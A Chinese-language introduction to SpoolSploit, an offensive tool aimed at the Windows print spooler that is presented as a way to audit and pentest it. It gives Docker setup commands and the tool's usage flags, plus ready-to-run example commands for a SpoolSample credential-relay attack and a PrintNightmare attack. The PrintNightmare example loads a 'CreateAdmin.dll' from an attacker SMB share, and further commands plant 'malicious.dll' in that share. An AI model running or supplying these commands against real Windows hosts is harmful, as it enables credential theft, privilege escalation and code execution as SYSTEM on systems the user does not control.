如何使用SpoolSploit審查Windows打印后臺處理程序的安全性
關于SpoolSploit
SpoolSploit是一款針對Windows打印后臺處理程序(print spooler)的安全審計工具,廣大研究人員可以使用SpoolSploit檢測Windows打印后臺處理程序(print spooler)中存在的安全漏洞,并通過實際的利用技術來進行滲透測試或安全審計。
SpoolSploit中還封裝了很多其他的實用工具,以便進行實際的漏洞利用和滲透測試。并實現了兩種方法來中繼計算機帳戶憑據,以升級權限并在具有完全系統訪問權限的節點上執行惡意DLL。
快速開始
自該項目發布之日起,SpoolSploit Docker容器已在最新版本的macOS、Ubuntu Linux和Windows 10上成功測試。
我們建議廣大用戶在SpoolSploit Docker容器內執行滲透測試或憑據中繼測試,并托管相應的DLL文件,然后確保運行Docker容器的主機上開啟并未使用的445端口。在Windows主機上運行此容器時,這種情況最為普遍,因為默認情況下它使用的是端口445。如果你的主機上端口445已被占用或無法使用的話,可以在網橋模式下配置了網絡適配器的虛擬機中運行Docker容器即可。
(1) 工具下載&訪問SpoolSploit容器
首先,使用下列命令將該項目源碼克隆至本地:
- git clone https://github.com/BeetleChunks/SpoolSploit
接下來,構建SpoolSploit Docker容器鏡像:
- cd SpoolSploit
- sudo docker build -t spoolsploit .
創建并啟動SpoolSploit Docker容器:
- sudo docker run -dit -p 445:445 --name spoolsploit spoolsploit:latest
綁定容器:
- sudo docker exec -it spoolsploit /bin/bash
(2) 命令行使用
- usage: spool_sploit.py [-h] -a {spoolsample,nightmare} -rH RHOST -rP {139,445} [-lH LHOST] [-lS LSHARE] -d DOMAIN -u USER -p PASSWD
- optional arguments:
- -h, --help 顯示幫助信息并退出
- -a {spoolsample,nightmare}, --attack {spoolsample,nightmare}
- 需要在目標主機上執行的測試類型
- -rH RHOST, --rhost RHOST
- 遠程目標IP、CIDR范圍或文件名 (file:<path>)
- -rP {139,445}, --rport {139,445}
- 遠程SMB服務器端口
- -lH LHOST, --lhost LHOST
- 監聽主機名或IP地址
- -lS LSHARE, --lshare LSHARE
- SMB共享 (UNC)
- -d DOMAIN, --domain DOMAIN
- 身份認證域名
- -u USER, --username USER
- 身份認證用戶名
- -p PASSWD, --password PASSWD
- 身份認證密碼
工機使用樣例
使用樣例1:
- python3 spool_sploit.py -a spoolsample -lH 10.14.1.24 -d evil.corp -u rjmcdow -p 'P4ssword123!' -rP 445 -rH 10.5.1.10
使用樣例2:
- python3 spool_sploit.py -a nightmare -lS '\\10.14.1.24\C$\CreateAdmin.dll' -d evil.corp -u rjmcdow -p 'P4ssword123!' -rP 445 -rH 10.5.1.10
SpoolSample - Windows設備賬號憑證獲取和中繼
- sudo docker cp ./malicious.dll spoolsploit:/home/dlogmas/smbserver/share/
- sudo docker exec spoolsploit /bin/sh -c 'sudo chown dlogmas:dlogmas /home/dlogmas/smbserver/share/malicious.dll'
工具使用截圖
項目地址
SpoolSploit:【GitHub傳送門】